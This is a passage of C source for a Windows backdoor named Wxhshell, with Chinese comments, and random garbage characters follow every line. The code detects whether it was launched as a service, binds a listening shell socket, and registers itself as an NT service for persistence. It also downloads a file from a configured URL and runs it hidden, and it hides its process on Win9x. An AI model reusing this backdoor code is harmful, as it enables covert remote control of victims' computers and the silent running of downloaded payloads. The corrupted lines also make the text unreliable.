ULONG InheritedFromUniqueProcessId; ZysZS%
} PROCESS_BASIC_INFORMATION; H@j
D%
W-72&\7
PROCNTQSIP NtQueryInformationProcess; BAJEn6f?
*[ @k=!73
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Pc{0Js5VzE
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o3s ME2
]< Ugg
HANDLE hProcess; Q5!"tF p
PROCESS_BASIC_INFORMATION pbi; qGH
s2Og
,(D:cRN
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lZ\8$,B)
if(NULL == hInst ) return 0; );m7;}gE
CyWaXp65
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =m+'orJ1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Os9;;^k
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i&%/]Nq
6wmMg i_m
if (!NtQueryInformationProcess) return 0; dx<KZR$!V
ME9jN{ le
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ +"V5z
if(!hProcess) return 0; qaj~q(j~C
]jkaOj
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,j'>}'wG)
cTq}H_hC
CloseHandle(hProcess); '`+GC9VG
xUKn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nc0!ag
if(hProcess==NULL) return 0; C2Pw;iK_t
J7p'_\
HMODULE hMod; 0Ud.u
char procName[255]; 2#^@awJ ?
unsigned long cbNeeded; )`*=P}D
u> YC4&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Cq<a|t
aYmC LLj
CloseHandle(hProcess); Ki8]+W37
`Dn"<-9:
if(strstr(procName,"services")) return 1; // 以服务启动 O%Mi`\W@
2v;F@fUB.
return 0; // 注册表启动 [1 ?
} ,[Bv\4Ah
Bq20U:f
// 主模块 a$~pAy5C
int StartWxhshell(LPSTR lpCmdLine) Z0(}doh
{ T&/ ]| 4
SOCKET wsl; ;QiSz=DyA
BOOL val=TRUE; k9'`<82Y
int port=0; ^xpiNP!?a
struct sockaddr_in door; C
`>1x`n
S(c&XJR
if(wscfg.ws_autoins) Install(); !^,<nP
BnB]]<gO"
port=atoi(lpCmdLine); t3w:!'Ato
5Y#W$Fx($R
if(port<=0) port=wscfg.ws_port; $O)fHD'
o-m9}pV
WSADATA data; N
N1(f
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V1 H3}
5d4/}o}%"
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &* Aems{-
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :'F7^N3;H
door.sin_family = AF_INET; g aq"+@fH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -q8R'?z[
door.sin_port = htons(port); k4AF
.U`I
Pf 4b/w/
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wB~5&:]jr
closesocket(wsl); {]F};_
return 1; ?JinX'z
} qi&;2Yv
C.& R,$
if(listen(wsl,2) == INVALID_SOCKET) { @gn}J'
closesocket(wsl); d7*fP S
return 1; Rl%?c5U/$
} : }q~<
Wxhshell(wsl); "P@jr{zvMd
WSACleanup(); x9U(,x6r
BwpSw\\?@
return 0; -VOMt5u
?_ V oO
} soTmKqj E
^`MGlI}
// 以NT服务方式启动 f\{ynC2m
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -%g$~MZ?'
{ DUAI
DWORD status = 0; _!} L\E~
DWORD specificError = 0xfffffff; gZ^'hW-{
p;Lp-9H\33
serviceStatus.dwServiceType = SERVICE_WIN32; Hkv4^|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .wb[cCUQ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bS!4vc1`2
serviceStatus.dwWin32ExitCode = 0; $BPTk0Y
serviceStatus.dwServiceSpecificExitCode = 0; @rV|7%u
serviceStatus.dwCheckPoint = 0; SdJGhU
serviceStatus.dwWaitHint = 0; 9 :ubPqt
!
/^Jma7n
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EV$$wrohQ`
if (hServiceStatusHandle==0) return; j-R9=vB2
=u.jZ*u]WT
status = GetLastError(); lO>9Q]S<
if (status!=NO_ERROR) -fA1_ ?7S
{ k\NwH?ppu
serviceStatus.dwCurrentState = SERVICE_STOPPED; mbS`+)1=l
serviceStatus.dwCheckPoint = 0; p /x]
serviceStatus.dwWaitHint = 0; WkF60'Hf
serviceStatus.dwWin32ExitCode = status; [`]h23vRW
serviceStatus.dwServiceSpecificExitCode = specificError; 7SyysH<H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +4r.G(n),
return; bh~"LQS1
} /|HVp
t
5{Y'
serviceStatus.dwCurrentState = SERVICE_RUNNING; a#k=!
W
serviceStatus.dwCheckPoint = 0; gI/#7Cr
serviceStatus.dwWaitHint = 0; _?YP0GpU
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #3h~Z)+y
} kW!`vQm~
O2n[`9*
// 处理NT服务事件,比如:启动、停止 ]((Ix,ggP
VOID WINAPI NTServiceHandler(DWORD fdwControl) _Z>I"m
{ {j!jm5
switch(fdwControl) WA$Ug
{ r) SG!;X
case SERVICE_CONTROL_STOP: 8F;f&&L"y
serviceStatus.dwWin32ExitCode = 0; yG ,oSp|
serviceStatus.dwCurrentState = SERVICE_STOPPED; b;O@|HK&~
serviceStatus.dwCheckPoint = 0; ayR;|S
serviceStatus.dwWaitHint = 0; !=f$
[1
{ ylo/]pVs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @7fx0I'n
} Bw`7ND}&
return; W7
.Y`u[
case SERVICE_CONTROL_PAUSE: \H-,^[G3
serviceStatus.dwCurrentState = SERVICE_PAUSED; N"M?kk,
break; O.HaEg/-
case SERVICE_CONTROL_CONTINUE: 6bacU#0o
serviceStatus.dwCurrentState = SERVICE_RUNNING; MB:VACCr
break; 2l YA% n
case SERVICE_CONTROL_INTERROGATE: U^@8ebv
break; E;>BcPt5
}; )}[:.Zg,3/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ET1>&l:.
} ui[E,W~
' thEZ
// 标准应用程序主函数 p[&6hXTd
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~dm/U7B:
{ - UMPt"o
n_qDg
// 获取操作系统版本 K@0/iWm*
OsIsNt=GetOsVer(); uh8+Y%V
p
GetModuleFileName(NULL,ExeFile,MAX_PATH); |vI1C5e
\LI 2=J*
// 从命令行安装 KBO{g:"
if(strpbrk(lpCmdLine,"iI")) Install(); =ll{M{0Q]!
rRK^vfoJ`
// 下载执行文件 v6$ }saTX
if(wscfg.ws_downexe) { OfAh?^R
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d ~`_;.z
WinExec(wscfg.ws_filenam,SW_HIDE); ]JUb;B;Z
} [/Figr]
DsI{*#
if(!OsIsNt) { .bT+#x
// 如果时win9x,隐藏进程并且设置为注册表启动 YM(`E9{h
HideProc(); _Cd_i[K[
StartWxhshell(lpCmdLine); Tam\,j
} N)&(&